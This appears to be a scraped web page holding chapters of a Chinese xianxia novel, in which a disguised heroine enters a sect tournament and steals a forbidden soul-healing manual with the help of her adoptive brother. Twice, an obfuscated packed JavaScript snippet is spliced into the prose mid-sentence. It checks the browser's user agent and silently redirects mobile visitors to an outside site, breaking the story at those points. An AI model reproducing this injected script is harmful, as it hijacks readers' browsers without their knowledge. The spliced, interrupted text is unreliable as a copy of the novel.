蓝衫修士忙拽了他一把,眉头紧锁:“你疯了?直呼其名!” 他又道:“想当年她剑出归云,青出于蓝,宗主何等器重?谁曾想一朝堕魔,竟成宗门大患,好在她已神形俱灭,回不来了。” 褐衣修士咂咂嘴:“说起来,那人当年的剑术,可真是绝了……可惜了。” 两人还在嘀嘀咕咕地猜测着各种可能。 云微面纱下的唇角勾起一丝极淡的冷嘲。 父亲,你怕了?怕我这“形神俱灭”的女儿来找你索命么。 队伍缓慢前进。 一道身影自旁侧强行挤入,直插云微身前。 此人满面横肉,腰悬一枚青玉云纹符,正是归云宗内门弟子标识。 他斜睨云微,见她素衣简朴,腰无佩饰,更无象征身份的玉符令牌,顿生轻视。 “喂!识相些!瞧你这般,无门无派,也敢来此丢人现眼?速速让开,别误了我的正事!”言罢,刻意将那腰间玉符晃了晃,青玉流光,颇为醒目,“瞧见没?正宗内门玉符!像你这种野修,趁早滚回家去!” 云微眸光微凝,落于此人面上。 赵常胜? 一丝熟悉感掠过她心头。 忆起月余前,假山之后,正是此人与数名弟子,口吐鄙夷,污她清名。 再思及当年,淮水决堤,哀鸿遍野。一对褴褛夫妇携子跪于归云宗山门风雪之中,三日三夜,气息奄奄。 恰好她练剑归来,观其筋骨尚可,然心性未定,终是动了恻隐,对值守弟子言:“此子筋骨尚可,心性未定,可予一观。”一语之荐,方开山门,使其得以入宗。 不想,竟是招入一头忘恩负义的白眼豺狼。 赵常胜见云微目光沉静,只定定看他,全无畏惧惶恐之色,更无让位之意,登时恼羞成怒:“哑巴了?还是聋了?我叫你滚开!” 他那只手刚搭上云微肩膀,便觉一股沛然灵力顺着他腕脉直窜上来,如遭蜂蛰,痛得他“嗷”一声缩回手,腕子上已隐隐泛起一层红痕。 云微立在原地,素衣纹丝未动。方才不过是将他推来的力道原路送回,再加了三分内劲,让他吃点皮肉苦头罢了。 此等人,欺软怕硬,不给点教训,只会得寸进尺,只是此刻人多眼杂,若真动了杀招,反倒落人口实。 这已是点到即止,既能让他知难而退,又不至于闹得太大。 自己要做的是隐藏行藏,而非在此处与人逞凶斗狠,平白成了众人焦点。 赵常胜捂着腕子,脸色由红转青,想发作又怯于她刚才那一手,只敢梗着脖子吼:“你……你敢动手?” 云微眼皮都未抬一下,只淡淡道:“排队。” 二字落地,清冽而有分量。 赵常胜被她这气势慑住,竟一时语塞,僵在原地进退不得。 “赵师弟,把手放下。”一声清叱自远处传来。 一位身着淡青色宗门服饰的女子快步走来,身形略显单薄,面容温婉,眉宇间却自有一股柔韧的英气。 她走到云微身旁,直视赵常胜:“身为归云宗弟子,当持身以正,谨守门规。这位姑娘排队已久,你岂可恃身份强行插队,更对一弱女子动手推搡?此等行径,置宗门清誉于何地?” 云微心神微动,认出此人。 正是归云宗二师姐,宁兮河。 她幼时根基受损,体弱多病,常年于静峰休养,极少露面。 不曾想,今日竟能在此处遇见此人。 “是宁师姐!” “二师姐!” 周围弟子纷纷行礼问好,语带敬重。 “她不是病着吗?怎么下山了?” “是啊,二师姐身子不好还如此关心宗门事务。” 宁兮河对这些赞誉置若罔闻,只关切地转向云微,温言问道:“姑娘,你可曾受伤?” 云微对她知之甚少,只知其性柔善,却不想如此刚正,且眼中唯有眼前事,旁人赞誉浑如浮云。 她微微摇头,清冷道:“无碍,多谢。” 宁兮河见她无恙,这才对赵常胜正色道:“赵师弟,速去队尾,莫再滋扰。” 赵常胜脸色阵青阵白,在宁兮河目光逼视及周围弟子注视下,终究不敢造次,狠狠瞪了云微一眼,悻悻然挤出人群,隐入后方。 宁兮河这才对云微展颜一笑:“姑娘吉人天相,愿大比顺利。”言罢,不再多留,转身离去,青衫背影融入人群。 观她行事,不恋虚名,只问是非,只是这宗门之内,善念往往难持。 记下这份情分便好,云微想。 不必再有牵扯,前路漫漫,终究是各归其途,方为妥当。 终于轮到云微。 石亭门一关,喧嚣顿消,亭内仅一桌一椅,一位年轻的执事弟子坐于其后。 “烦请按规矩,先验过玉璧。”弟子头也未抬,例行公事。 云微依言上前,素手轻抬,覆于那温润玉璧之上。 刚一接触,玉璧微光流转,旋即一道极其明亮、几乎刺目的青色光柱猛然自璧中冲天而起。 光芒之盛,瞬间充斥整个狭小的石亭,那光芒纯粹凝练,隐隐透出难以言喻的锋锐之意,直指云微根基之深厚,远超寻常修士。 执事弟子抬起头,惊呼出声:“这根基……!” 云微面色一滞,这鉴真玉璧竟能穿透我压制的灵力?这般异象,必惹怀疑。 她覆在玉璧上的手指几不可察地微微一颤,一缕极其精微的灵力自指尖悄然透出,无声无息地缠绕上玉璧核心。 那冲天的青色光柱骤然一暗,光芒迅速内敛、沉降,颜色也由极致的青白转为略显浑浊、波动不稳的青灰色泽,虽依旧比常人明亮,却已不复方才那惊世骇俗的纯粹与高度。 成了。云微心中微定,指尖灵力悄然收回,面上依旧波澜不惊,仿佛方才的异变与她无关。 执事弟子揉了揉眼睛,看着玉璧上那虽然也算不错、但远不及刚才惊鸿一瞥的青灰光芒,又看看神色淡漠的云微,心中惊疑不定:方才莫不是看花了眼?还是这玉璧一时不稳? 他连忙道:“根基尚可,尚可。敢问姑娘贵姓?” “无名。” 对方笔尖一顿,眼神里已带了几分审视与不耐,仿佛觉得这“无名”二字是故意寻衅:“无名?没有名字?那身份证明呢?籍贯何处?师承何人?” 云微早已想好说辞,正要开口解释自己乃是山野散修,无门无派。 忽闻亭门“咔嚓”轻响。 云微心头微凛。这石亭的禁制虽非顶尖,却也是宗门秘法所设,寻常修士便是有钥匙也需按规启门,怎会有人能如此轻易潜入? 抬眼时,谢澜忱已立在亭中。少年肩上还沾着些山径的霜叶,显然是刚从外面过来,可那身气息却稳得像从未动过灵力,仿佛不是他破了禁制,而是这门本就为他虚掩着一般。 他目光扫过亭内,在云微脸上那方轻纱上稍作停留,眸底掠过一丝极淡的了然,随即转向那尚在错愕的执事弟子。 他来做什么?是担心她报名受阻? 云微面上依旧清冷,静观其变。 那执事弟子一见谢澜忱,惊得霍然起身:“谢师兄?!您…您怎会在此?宗主不是…不是正在正殿为您设宴,表彰您襄助碧月山庄徐庄主平定内乱的大功么?” 少年眼帘微掀,眸光懒怠扫过他,嘴角勾着丝似有若无的冷峭,像对什么都提不起兴致:“宴上奉承之人太多,吵得我头疼。” 他目光转向云微,用下巴微点,“顺道,瞧瞧这位。她是我在碧月山庄外捡的,脑子撞坏了,前尘忘得干净,就叫无名。” 他说着,斜睨那执事弟子一眼,眉梢微挑:“你按规矩来没错,但也不必太过死板,为难一个失忆之人。她的实力,够资格报名。” 执事弟子一脸苦相,冷汗涔涔:“谢师兄明鉴!非是弟子有意刁难,实乃宗主严令:身份不明者,一律不得参比,以防…呃,以防不测。”他转向云微,连连作揖,“姑娘海涵,职责所在,万望体谅。” 父亲为防她这“已死”之人,竟至风声鹤唳,草木皆兵。云微心想。 她冷冷开口,声线透过面纱,依旧冰冽清晰:“规矩乃人所定。宗门大比,所考究者,修为深浅,应变之能,向道之心。执事若觉为难,不妨依规,容我当场试演,真伪立判。” 执事被那气势慑住,又觑了眼谢澜忱冷脸,只得一咬牙:“好……好吧!那便……便破例一次!”他不敢怠慢,取出一枚鸽卵大小、黯淡无光的灰色石珠,以灵力牵引,悬于云微颈间。 “此乃‘云踪珠’,为大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少年快步走到一株尚挂着三两朵残蕊的花枝前,指尖在枝桠上顿了顿,似是犹豫,终是拦腰折下一小枝。 回身行至云微面前,将那缀着残蕊的细枝递出,目光却偏向别处,语气生硬:“拿着。秋天还能开的花,很少见。”他似想解释这突兀的举动,话到嘴边又觉多余,更显别扭。 云微看着眼前突兀递来的花枝,微微一怔。 谢澜忱这是何意?是看出她方才心绪波动,想以此示好?还是少年心性,一时兴起? 她没戳破,接了。 少年肩线似乎松了松,随即又绷紧。 云微指尖捻了捻花枝,抬手别在鬓边。素衣白纱,一点残紫,竟透出惊心动魄的艳。 少年的目光落在她耳畔的花上,似乎被那抹颜色晃了一下眼,下意识地脱口而出:“……好看。”话一出口,他自己先愣住了,脸上闪过一丝懊恼的薄红,立刻改口:“我是说……你好好看看你自己有没有戴好!歪了!笨手笨脚的……” 云微抬手轻轻扶正了一下鬓边的花枝,面纱下毫无波澜:“正了。” 他这反复无常的性子……她心中了然。 也罢,谢澜忱既是父亲义子,名义上也算她的弟弟,说些傻话,做点傻事,也很正常。 况且这段时间,他确实帮了自己不少,虽立场相悖,但这份人情是实实在在的。 后面要利用他身份探查许多事,还需他配合,关系不宜弄得太僵。 她破天荒主动开口:“昨夜拒绝与你组队,并非质疑你实力。” 谢澜忱脚步微不可察地一顿,却没回头,也没吭声,似乎在等着她下文。 云微继续道:“你身为宗主义子,一举一动皆在众人瞩目之下。而我……”她顿了顿,声音依旧平静,“一个需要隐藏身份的人。与你同行,于你易惹非议,于我则增暴露之险。分开行动,各凭本事,于你于我,都更稳妥。” 少年沉默了,过了片刻,才闷闷地开口,声音有些低沉:“刚才……那个弟子说的,宗主给我设宴表彰的事……我没告诉你,不是有意瞒你。只是……”他似乎在斟酌词句,“怕你听了,心里……会不舒服。” 云微闻言,神情毫无变化。 父亲器重他,抬举他,甚至在她“死后”更加毫无顾忌地偏爱他……这些事,她早就看得分明。 从前她都不在乎,如今身负血海深仇,又怎会因这点“宠爱”心生波澜? 云微淡淡道:“宗主厚爱于你,是你应得的。与我无关。” 谢澜忱脸色沉了下去,唇线抿成一条直线,不再言语,转而继续前行。 她果然毫不在意。 一股难以言喻的窒闷感堵在胸口,让他呼吸都有些不畅。 她越是这般云淡风轻,越是衬得他方才的试探和那点隐秘的担忧……像个笑话。 二人各怀心事,山径唯余足踏霜叶的声音。 不多时,一片依山而建的雅致房舍出现在眼前,正是东苑听竹轩。 云微停下脚步:“住处到了,你回去吧。人多眼杂,被人看见你与我这‘来历不明’之人同行,于你声名有碍。” 谢澜忱看着她,嘴唇动了动,似乎想说什么,最终却只是绷着脸,一言不发地站在那里,眼神复杂地看着她。 云微静候片刻,见他毫无离去之意,只道他默许,遂不再多言,转身径直走向“听竹轩”丙字房。 她步履从容,却在靠近房门三尺时,脚步微不可察地顿了一下。 空气中似有极淡的桐油腥气? 果不其然。 就在云微伸手推开房门的一刹那,一个盛满污秽、桶壁涂满桐油的木桶直直从门楣上方砸了下来。 24.化敌为友 面对当头泼下的污水,云微神情未动分毫,不闪不避,更未仰首。 她右手按上腰间玄黑剑鞘,“铮”一声清越剑鸣,断尘剑出鞘,凌空一划。 那当头砸下的木桶竟被这一剑从中整整齐齐劈作两半。 桶壁涂满的滑腻桐油在剑锋触及的瞬间,便被剑气蒸发殆尽,化作一丝难闻的青烟,消散无踪。 污浊的脏水则“哗啦”一声,尽数泼洒在门框两侧及地面上,水花四溅,污秽横流,恶臭弥漫开来。 而云微,素白衣裙飘然,身影已在剑气激荡的微风中,稳稳立于屋内,断尘剑斜指地面,寒光凛冽,滴水未沾。 雕虫小技。云微心中冷哂,手腕轻抖,断尘剑发出一声低沉悦耳的嗡鸣,轻盈入鞘。 如此下作手段,只敢躲在暗处施为,鼠辈无疑。 她目光扫过这间屋子。一桌一椅一榻皆由泛着冷光的青玉竹制成,触手冰凉。 一张素白屏风立于屋角,屏风上仅以墨色勾勒几竿疏竹,笔锋遒劲,透着一股清逸孤高的意境。 最引人注目的,是这屋内无处不在的白色纱帘。临窗处垂着两幅,被窗外穿竹而过的夜风拂动,轻轻摇曳,如烟似雾。 床榻四周也笼着同样的纱幔,层层叠叠,影影绰绰,将床榻隐于朦胧之后。就连分隔内外室的,也是一道垂地的素白纱帘。 这房间的陈设风格,清冷孤绝,像极了她记忆中某些长老偏好的调子。 云微的目光落在地上碎裂的桶身和那片污秽狼藉上。 虽修为根基受损,灵力远不如前,但感知残留气息的本能犹在。 她身形未动,阖上眼,将全部心神凝聚于一点,灵识如同无形的蛛网悄然铺开,穿透屏风纱幔,捕捉着空气中那丝微弱却真实存在的气息波动。 气息的源头带着剧烈的心跳和惊惶的情绪,就在……屏风之后。 云微倏然睁眼,扫向那张绘着墨竹的素白屏风,左手五指微张,隔空虚抓。 “出来。”她轻叱一声。 屏风后,一个娇小的身影踉跄飞出,“噗通”一声重重摔在云微面前的地上,她手中紧握的一柄匕首也“当啷”一声脱手掉落在地。 那是个约莫十五六岁的少女,身着一身洗得发白、打了好几个补丁的浅绿色布裙,梳着简单的双丫髻,此刻小脸吓得惨白如纸,不见一丝血色,浑身筛糠般抖个不停。 她那一双眼睛生得很大,此刻蓄满了泪水,眼神里全是惊惶和无措。 “仙…仙子饶命……”少女带着浓重哭腔,语无伦次地求饶,声音抖得不成样子,“我这么做…只因宗门大比…报名的人太多了…长老们三天后只选一百零八人正式参赛…我…我实力太弱了…我怕…怕选不上…” 她抽噎着,断断续续道:“爹娘花光了所有积蓄才送我来这里…他们…他们说我要是拿不到魁首…就不认我这个女儿了……” “我…我就想…要是报名的人自行退出…那我留下来的机会…就能大一点…我…我不是故意要害你…我只是想吓唬你,让你觉得这里住着不安生…自己退出…我错了!仙子饶了我吧!我再也不敢了!” 云微垂眸看着地上瑟瑟发抖的少女,眼神无波无澜。 懦弱,自私,愚蠢。为了一己私欲,行此卑劣暗算,却又胆小如鼠,毫无担当。 这等心性,纵有几分天赋,也难成大器。 “规则,是给守规矩的人定的。”云微的声音清冷,如同山涧寒泉,不带一丝感情,“投机取巧,损人利己,便是侥幸入了宗门,也走不远。今日是我,你尚能苟活。若遇他人,你此刻已是一具尸体。” 阿念泪眼婆娑地抬起头,绝望而恐惧地看着云微覆着面纱的脸,嘴唇哆嗦着说不出话。 云微却不再看她,目光落在那柄滑落在地的普通匕首上,右手虚抬,灵力卷起匕首。 “啊!”阿念吓得魂飞魄散,以为云微要杀她,猛地闭上眼睛,双手死死抱住头。 预料中的剧痛并未到来。 只听“叮”一声脆响,那匕首深深钉入她身后的墙壁之中,刀柄犹自震颤不休,发出嗡鸣。 少女惊魂未定地睁开眼,茫然又恐惧地看着墙上颤动的匕首,又看看云微,不明白这是什么意思。 “明日卯时,断崖等我。”云微冷声道。 “仙…仙子…您…您是说…?”她结结巴巴,眼泪又涌了出来,“您…您不杀我?还…还愿意教我?” 云微语气平淡:“与其费心机害人,不如用这三日打磨自己。机会只有一次。” “是!是!谢谢仙子!谢谢仙子不杀之恩!谢谢仙子给我机会!”少女激动得语无伦次,连连磕头。 末了,她抬眼,目光落在云微那双清冷的眸子上,忽然怔了一下,喃喃道:“仙子…您的眼睛…好熟悉…跟我小时候在淮水边遇到的那位救了我的仙门姐姐…好像…她也是这样,看着冷冷的,像天上的月亮,可心是热的…仙子您和她一样,都是好人!” 云微眼神微动。 淮水?那是她三年前下山历练时,曾途经之地。 彼时淮水决堤,水患肆虐,她确实曾出手救下不少流民。 但此刻,这些细枝末节无关紧要。 此女懦弱自私,却并非大奸大恶之徒,其父母期望荒谬,视魁首如探囊取物,她自身亦如无根浮萍,极易被驱使或被他人利用。 留她在此,或成隐患,亦可能被他人当作对付自己的棋子。 与其放任,不如置于眼前。指点一二,若可堪造就,收为己用,亦是一枚可用的暗子;若朽木难雕,届时再处置不迟。 “你叫什么名字?”云微问道。 “我…我叫阿念。”少女慌忙回答,目光扫过云微右手手心。 那里缠着一圈素色的布条,隐约透出点暗色,像是干涸的血迹。 她像是想起了什么,慌忙从自己腰间的小布包里掏出一个小巧的白玉瓶和一卷细纱布,小心翼翼地捧到云微面前,带着几分讨好和赎罪的意味: “仙…仙子,这个…这个是我们家祖传的‘玉髓生肌散’,对外伤…效果很好的!是我娘用山里的草药自己熬的!还…还有纱布…干净的!请收下吧!就当…就当是我赔罪了!” 云微目光扫过那朴素的玉瓶和干净的纱布,并未推辞,淡然接过收入袖中。“多谢。” “那…那我先走了!明日卯时我一定准时到!”阿念如蒙大赦,手脚麻利地爬起来,又不知从哪里掏出一块还算干净的布巾,迅速将地上的污水擦拭干净,最后将劈成两半的木桶碎片抱起来,溜出了房间。 看着瞬间恢复整洁的地面,云微眼中掠过一丝极淡的波动。 能立刻动手收拾残局,倒也算知错,尚有一丝担当。 她走到桌边坐下,眉头微蹙。 谢澜忱给的护魂绳确实有稳固残魂、凝聚灵识之效,如同无形的绳索,勉强维系着她这具残魂凝聚的躯壳不至于溃散,维持着表面的生机。 但太慢了。护魂绳只能维系,如同绷带勉强止血,无法助她快速恢复力量,更遑论修复受损严重的魂体本源。 凭此残魂之躯,莫说向谢青峰复仇,便是应对宗门大比中的强手都力有不逮。 据她所知,最快最稳妥的方法,便是找到归云宗藏书阁顶层,那卷被列为禁术、只有宗主和长老才能翻阅的《归元养魂秘录》。 此事,还是不要让谢澜忱知晓为好。云微心想。 他虽相助数次,甚至不惜向长老讨要护魂绳,但《归元养魂秘录》是修复残魂的秘法,其用途指向性太过明确。 一旦少年去向长老索要,便会立刻引起怀疑,无异于自曝其短,将两人都置于险境。 * 夜色渐深,万籁俱寂。 藏书阁巍峨矗立于主峰之侧,阁内设有强大的防护禁制,门口亦有数名弟子值守。 好在云微对此处地形了如指掌。她绕至阁后,寻到一处当年她练剑时偶然发现的,比其他地方灵力流转稍显滞涩、薄弱几分的阵法节点。 此处位于山壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109179|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与阁体接缝处,常年被藤蔓遮掩,极为隐蔽。 她指尖凝聚起一丝灵力,悄无声息划开道缝隙,刚容得一人侧身。 阁内一片漆黑。 云微提气轻身,脚步落处悄无声息,只几个起落,已登顶层。 此地不大,四壁尽是嵌入墙体的寒玉匣,匣中所贮,皆是归云宗压箱底的典籍秘术,寒气丝丝缕缕往外渗。 角落里立着一口玄铁柜,是用来收存那些灵力过于霸道、寻常玉匣镇不住的孤本残卷,或是需以极寒锁住气息的秘录抄本。 她目标明确,径直走向最深处一个由万年玄冰玉打造的独立书格。 此玉匣寒气最重,禁制也最强,正是存放《归元养魂秘录》之处。 此刻,那玄冰玉书格内竟空空如也。 云微眸光骤然一凝,心头微沉。 不在? 她迅速扫视四周,其他玉匣的禁制完好无损,并无强行破开的痕迹,唯有存放秘录的玄冰玉匣,其上的禁制光华黯淡,似乎不久前被人解开过。 难道是被父亲提前取走藏起来了?但……也不排除另一种可能。 此秘录价值连城,觊觎者未必没有。 父亲为防她,增设报名关卡,或许也疏忽了内贼? 就在她凝神思索之际,一丝极其微弱、几乎被藏书阁本身灵气掩盖的呼吸声被她捕捉到。 对方显然也在极力隐藏气息,若非云微此刻全神贯注,几乎难以察觉。 她心中念头飞转:气息隐藏得如此之好,能无声潜入此地,目标又是这《归元养魂秘录》……是敌是友? 她目光在阁内逡巡片刻,灵识顺着那丝微弱气息的牵引,最终落在东南角那口不起眼的铁柜上。 它是由玄铁混着星纹木所制,柜身流转着淡淡的银辉,细看竟似有细碎星点在木纹间游走。 柜门上镶着块墨玉,玉中隐有云雾翻腾,乍看只当是寻常储物法器,毫不起眼。 云微眸光微凝,足尖点地,行至柜前。 她指尖凝起一丝灵力,探入墨玉锁芯,顺着阵纹脉络轻轻一挑。 “吱呀”一声轻响,柜门打开,声息恰好被窗外掠过的夜风声盖过。 柜中藏着个少年。 他眉目间似凝着层化不开的霜,一双眸子是极浅的钴蓝,此刻正冷冷剜过来,带着被撞破的杀意。 可待看清是她,那点凶光却倏地敛了,取而代之的是惊愕与慌乱。 谢澜忱。 竟是他。 四目相对,空气仿佛凝固。 少年怎么会在这里?他深夜潜入藏书阁,盗取《归元养魂秘录》…是为了她吗? 是了,护魂绳也是他给的,少年嘴上刻薄,行动上却…… 云微缓缓抬手,轻轻摘下脸上覆着的黑色面巾,露出清冷绝艳却带着疲惫的面容。 她看着他,目光沉沉,唇角勾起一丝极淡、却意味深长的弧度,轻轻吐出三个字: “胆小鬼。” 少年闻言,又羞又急:“胡言乱语!谁胆小了!” 他又道:“宗主疑心有人觊觎秘录,命我暗中探访。倒是你,孤身至此,安的什么心?” 云微瞧着他这般欲盖弥彰的辩解,唇边那点浅淡笑意悄然敛去。 父亲的手段,原也在意料之中,只是谢澜忱这行径,倒有些意思。父亲命他探访,他却擅自偷走秘录藏身柜中。 云微向前逼近一步,目光直直望进少年钴蓝色的眼底,低声问道:“你在此处,手里握着《归元养魂秘录》,是为你自己,还是……为了我?”她问得直接而犀利,不留丝毫余地。 少年眸光微闪,终是偏过头去,语气里带着几分生硬的冷峭,似有不甘,又似在强撑:“休要多心。你的死活,与我何干?不过是怕你此番大比,输得太轻易,倒显得我胜之不武。” 云微静静地看着他强撑的倔强与口是心非的辩驳,没有揭穿。 就在这时—— “谁在上面!”一声厉喝陡然传来。 25.偷梁换柱 云微眼神一凛,侧身挤入谢澜忱藏身的柜中,同时指尖灵力流转,一缕微不可察的幽光自袖中逸出,于地面迅速凝聚成形。 一头形似小熊,毛色黑黄相间,长着象鼻犀目、牛尾虎足的小兽悄然出现。 此兽以梦境为食,只需靠近,便能无声无息引动睡意。 若能引值守弟子入梦,他们便能寻机脱身。 柜门“咔哒”一声轻合,将最后一丝微光隔绝。 这柜子的内部远比外面看着更局促,两人几乎是胸膛相贴,鼻息交错。 云微能清晰地感觉到少年僵直的身体,略显急促的呼吸,衣料摩擦的窸窣,以及他极力想要压抑的心跳。 “那是食梦貘吗?”少年轻咳一声,低声问道。 “你从前在归云宗不是号称只修一剑、心无旁骛的苦修士吗?何时竟学了这等中看不中用、专司旁门左道的术法?” 他实在无法将这毛茸茸的小东西与眼前这个清冷如霜雪的大师姐联系起来。 毕竟,她除了剑,对其他术法向来嗤之以鼻。 云微没回答,指尖在身侧的柜壁上极轻、极快地叩击了两下。 一道无形的屏障瞬间笼罩住狭小的柜内空间,将柜内的声音隔绝。 “哄孩子用的。”她言简意赅。 “哄……孩子?”谢澜忱以为自己听错了,钴蓝色的眸子在黑暗中因惊愕而微微睁大。 这答案比看到食梦貘本身更让他难以置信。那个高高在上、目下无尘的云微大师姐,哄孩子?” “嗯。”她应了一声。 “三年前,丹霞镇。我与几位同门诛杀为祸的水妖,救下被困百姓。有一个约莫八九岁的女孩,大概是被满地狼藉和血腥吓到,也可能是……”她顿了一下,“被我剑上未干的血迹惊着了,嚎啕大哭,怎么都哄不住。师妹师弟们轮流去哄去逗,收效甚微。” “那孩子哭得几近昏厥,直往她母亲怀里钻,看我的眼神像看夜叉。那次之后,我觉得……或许除了剑,也该会点别的。至少,在吓哭小孩时,能让他安静下来,便去藏书阁翻了些记载奇闻异兽和安神小术的杂书,学了点皮毛。这小东西,吃噩梦,也能让人快速入眠,很安静,不会吓着人。” 少年彻底默然,那点轻鄙早消散无踪,喉间溢出一声极轻的嗤笑,却不知是在笑自己之前的偏见,还是笑她竟有这般不为人知的一面。 “刚才明明听到动静……”一个男弟子开口道。 “仔细搜!书架后、柱子边,一个角落都别放过!”另一个女弟子迅速接话,“此数日须严加看守,尤以那《归元养魂秘录》为要!” 脚步声很近,想必他们很快会搜到这里。 云微思绪飞转:少年方才的反应……绝非仅仅是奉令探查。 若真是奉令,发现有人潜入,要么立刻示警,要么出手擒拿,可他却选择藏匿柜中,手握秘录……见她的第一瞬,那凛冽的杀意做不得假。 他不知来者是她?还是……他本就想取走秘录,无论来者是谁? 他到底想做什么?父亲给了他什么命令? 云微心中疑窦丛生,决定直接试探。 “他们很快会搜到这里。”她冷声道。 “你如何进来的?宗主当真只让你‘探访’,而非监守自盗?你既在此,秘录在你手中,为何方才见我,第一反应是杀意?你不知来者可能是我?” “我……自有我的法子进来!”他语气带着一丝被戳穿的急躁,声音却不由自主地低了下去,“宗主确是命我暗中查探,看是否有人觊觎秘录。我察觉有人潜入,匿于柜中本想…本想出其不意擒下。” 他顿了顿,又道:“怎知是你!若知是你,我……” “若知是我,便不会躲在这里,还是不会对我出手?”云微平静地接上他的话。 谢澜忱语塞,只觉得脸上火烧火燎,连耳朵尖都烫得厉害。 他能怎么说?说他看到《归元养魂秘录》时,想到她残魂未稳急需此物,竟鬼使神差地取了想先一步带走?说他方才柜中乍见是她,那点杀意瞬间就被冲得七零八落? 这些心思,如何能宣之于口?尤其是在她面前。 他死死咬住下唇,在黑暗中狼狈地偏过头,用沉默对抗这让他心慌意乱的逼问。 “师姐,你看这柜门前……”男弟子的声音停在柜前不远处,带着疑惑。 “我看看……好生古怪的小兽?似熊非熊,象鼻牛尾……它……它好像在看我……眼睛好奇怪……”女弟子的声音由远及近,带着一丝茫然。 “唔……怎么……突然……好困……”她打了个大大的哈欠,话音开始含糊不清。 “是啊……眼皮……好重……”男弟子的声音也仿佛梦呓般,飘飘忽忽。 话音未落,便传来两声沉闷的“噗通”声,紧接着是均匀而沉重的鼾声。 云微侧耳细听片刻,确认再无其他动静,立刻推开柜门。 清冷的月光重新涌入眼中,只见那两名值守弟子已倒在地上,睡得人事不省。 那头小小的食梦貘正安静地蹲坐在旁边,象鼻轻轻耸动,仿佛在吸食着空气中无形的“梦”。 云微快步上前,蹲下身,伸手轻轻抚了抚食梦貘毛茸茸的脑袋。 小兽亲昵地用象鼻蹭了蹭她的掌心,随即化作一缕幽光,消散于她袖中。 她站起身,目光扫过地上呼呼大睡的两个弟子,又落回刚钻出柜子、面色犹带一丝不自然、正努力整理衣袍掩饰尴尬的谢澜忱身上。 “我们走。”云微言简意赅,指尖灵力一引,方才布下的隔音屏障无声消散。 少年眼神一凝:“我不能走。” 他为何要留下?是想反悔告发她,还是另有所图?云微心想。 “理由?”她问道。 谢澜忱双手抱臂,努力做出惯常的倨傲与冷硬:“我未骗你。我确是奉宗主之命在此查探。若此刻随你离去,值守弟子醒来发现秘录失窃,而我又失踪,第一个被怀疑的便是我。届时宗主震怒,彻查之下,你潜入之事未必能全然遮掩。” 言毕,他将手中那卷玉简抛给云微,“秘录你带走。我留下应对。就说我在此守株待兔,发现潜入者踪迹,交手后对方负伤遁走,我追赶不及,只来得及确认秘录已被盗取。如此,既能暂时平息风波,也能为你争取时间。” 云微稳稳接住玉简,入手冰凉,却仿佛带着少年掌心残留的温热。 他竟愿独自留下,只为护她周全,为她争取时间? 可此计虽行,却非万全。 一旦细究盘问,他擅自行动、甚至“丢失”玉简的嫌疑仍在,风险极大。 “此法可行,但不够稳妥。我父亲生性多疑,未必尽信你言。且秘录失窃,终是隐患,迟早会暴露。”云微开口。 少年面色一怔,迅速接话:“那当如何?总不能坐以待毙。” “偷梁换柱。”云微吐出四字,目光扫向那空置的玄冰玉匣。 她并未立刻动手,而是凝神静气,指尖泛起一层极淡的银辉,探入手中的《归元养魂秘录》玉简之内。 数息之后,她以指代笔,凌空划动,指尖银辉渐淡,额角已沁出细汗。 末了,一枚外表、材质、气息皆与《归元养魂秘录》无二的赝品落入谢澜忱手中,她指尖却微微发颤。 云微此刻面色苍白,气息也微有不稳,但眼神依旧沉静,仿佛耗损心神只是微不足道的小事:“放回去。小心别触动玉匣原有禁制。” 少年接过赝品,入手温润,气息与真品毫无二致。 他抬眼看向云微,她眉宇间那抹难以掩饰的疲惫之色让他心头莫名一紧,既惊叹于她的手段,又为她强行施为耗损魂力而隐隐担忧,半晌才闷声道“知道了”,转 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眼下修复残魂、应对即将开始的宗门大比才是重中之重,她实在无暇顾及这少年复杂多变的心事。 她必须尽快参悟秘录。 恰在此时,不远处传来一队巡逻弟子低低的交谈声,正朝他们藏身的方向而来。 云微眼神一凛,将黑色面巾重新覆上。 她正欲凝神戒备,手腕忽被人攥住,跟着便被向后一推,撞上树干。 抬眼时,少年钴蓝的眸子在晦暗光线下沉沉盯着她。 “什么人!”巡逻队为首的弟子厉声喝道,手已按上腰间剑柄。 “是我。”少年从树后缓步踱出,目光锐利地扫过众人,“奉宗主密令,在藏书阁附近巡查。” “谢…谢师兄?”为首的巡逻弟子借着月光看清来人,明显愣了一下,连忙行礼,语气恭敬中带着疑惑,“原来是谢师兄!不知师兄深夜在此,可有发现异样?” 云微隐在树后,借着枝叶缝隙偷望。 谢澜忱向来不喜与人周旋,此刻却要应付这些巡逻弟子,不知会露出什么破绽。 他虽倨傲,却非蠢人,只是…… “没有。” 少年眼也不眨,话出口干脆利落,仿佛多一个字都吝啬,半晌却又冷冷添了句:“宗主安危才是重中之重。大比在即,鱼龙混杂,尔等不去宗主居所外围严加巡防,反倒在此处喧哗盘查?” 巡逻弟子们闻言脸色骤变,为首者更是冷汗涔涔,连忙躬身:“师兄教训得是!是弟子等疏忽!” 说罢,众人再不敢多问一句,匆匆朝着宗主居所方向疾奔而去。 云微隐在暗处,将谢澜忱这番表演尽收眼底。 看来父亲这几年的“悉心栽培”,确实让他成长了不少,也更危险了。 她不再停留,趁着巡逻队被引开的空档,悄无声息地朝着自己暂居的竹舍而去。 * 竹舍内。 云微摘下覆面的黑色面巾,随手搁在桌上。 方才树后那瞬间的贴近与他沉沉的目光……她眸色微凝,将那丝异样压入心底。 她走到屋内的蒲团前盘膝坐下,将那卷触手温润的《归元养魂秘录》玉简置于膝前,深吸一口气,摒除杂念,灵识沉入玉简之中。 初始,秘录开篇的魂力运转法门清晰明了,与她残魂的渴求隐隐呼应,一丝微弱却精纯的滋养感缓缓渗入干涸的魂元。 她依循指引,调动体内残存的灵力,尝试修复自己的残魂。 